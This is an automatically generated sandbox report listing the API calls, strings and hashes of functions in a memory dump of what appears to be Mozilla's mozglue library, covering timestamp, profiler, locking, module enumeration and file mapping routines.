Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

<none>, xrefs: 6C99DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C9756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C975744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C9757BC
GetTickCount64.KERNEL32 ref: 6C9758CB
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9758F3
__aulldiv.LIBCMT ref: 6C975945
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C9DF638,?,?,?,?), ref: 6C9759E9

Strings

MOZ_APP_RESTART, xrefs: 6C9756CC

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction ID: bb7ff651eae94081bea50f32eb7a2595acfb432eff971e952c837c617aba6349
Opcode Fuzzy Hash: 1422a52247983133444d46003c9a7ab35bdaac4d537a3addc9463b15dad1ce90
Instruction Fuzzy Hash: 39C17B31A0D7449BDB05CF28C44166AB7F1BFDA718F558A1DE8C4A7A60E730E885CB92

Function 6C99EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EC8C

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99ECA1
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C99ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99ED19
CloseHandle.KERNEL32(?), ref: 6C99ED28
free.MOZGLUE(00000000), ref: 6C99ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C99EC94

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction ID: 70f63d3fafa89faf754d6faa4af9d2e5a158a95f6ecc2334fac8ed53db4be5fc
Opcode Fuzzy Hash: d4937314aa601eec71b819a7b99e2bd8cff1d8a644b01e99f89ccfb1b1409e4e
Instruction Fuzzy Hash: C121E575604904AFDB009F64DC09A9A3779FB5626DF288210FD18A7B41DB31E845CBF1

Function 6C998ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C95EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C99B392,?,?,00000001), ref: 6C9991F4

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Strings

marker-table, xrefs: 6C99906C
data, xrefs: 6C9990E8
name, xrefs: 6C998F16
timeline-overview, xrefs: 6C99907A
marker-chart, xrefs: 6C99905E
timeline-ipc, xrefs: 6C999096
timeline-fileio, xrefs: 6C9990A4
timeline-memory, xrefs: 6C999088
stack-chart, xrefs: 6C9990B2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction ID: 618ba5d754fdee7efc7bfc10d229741b723f6b50baf2371298d3e58226ead686
Opcode Fuzzy Hash: cc90420369a66cf8a08d1e553cab1106601618aaf05d94b7e8b8fdcd7246b513
Instruction Fuzzy Hash: 70B1D0B1B012099BDF04CF95C4917AEBBB9BF94318F254019D506ABF80D731EA55CBE2

Function 6C97C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C5A3
WideCharToMultiByte.KERNEL32 ref: 6C97C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C97C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C97CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C97CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C97CAA5

Strings

(null), xrefs: 6C97C596
0, xrefs: 6C97D30A

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction ID: 1e302c6cb67bae7911c58ead7639e4d65c65649c2d40d78be8b09cfda47b0d90
Opcode Fuzzy Hash: 0324a7c0cdf1862f30eface0011c21295c04e9f75ffda72836644bdf86138f2d
Instruction Fuzzy Hash: FFA1AC3160A342DFDB20DF28C58475ABBF5AF89748F14892DE889D7741DB31E905CBA2

Function 6C97C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C97C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C97C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C97C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C97C891

Strings

nan, xrefs: 6C97C7A8
inf, xrefs: 6C97C78F
NAN, xrefs: 6C97C7AD
INF, xrefs: 6C97C794

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
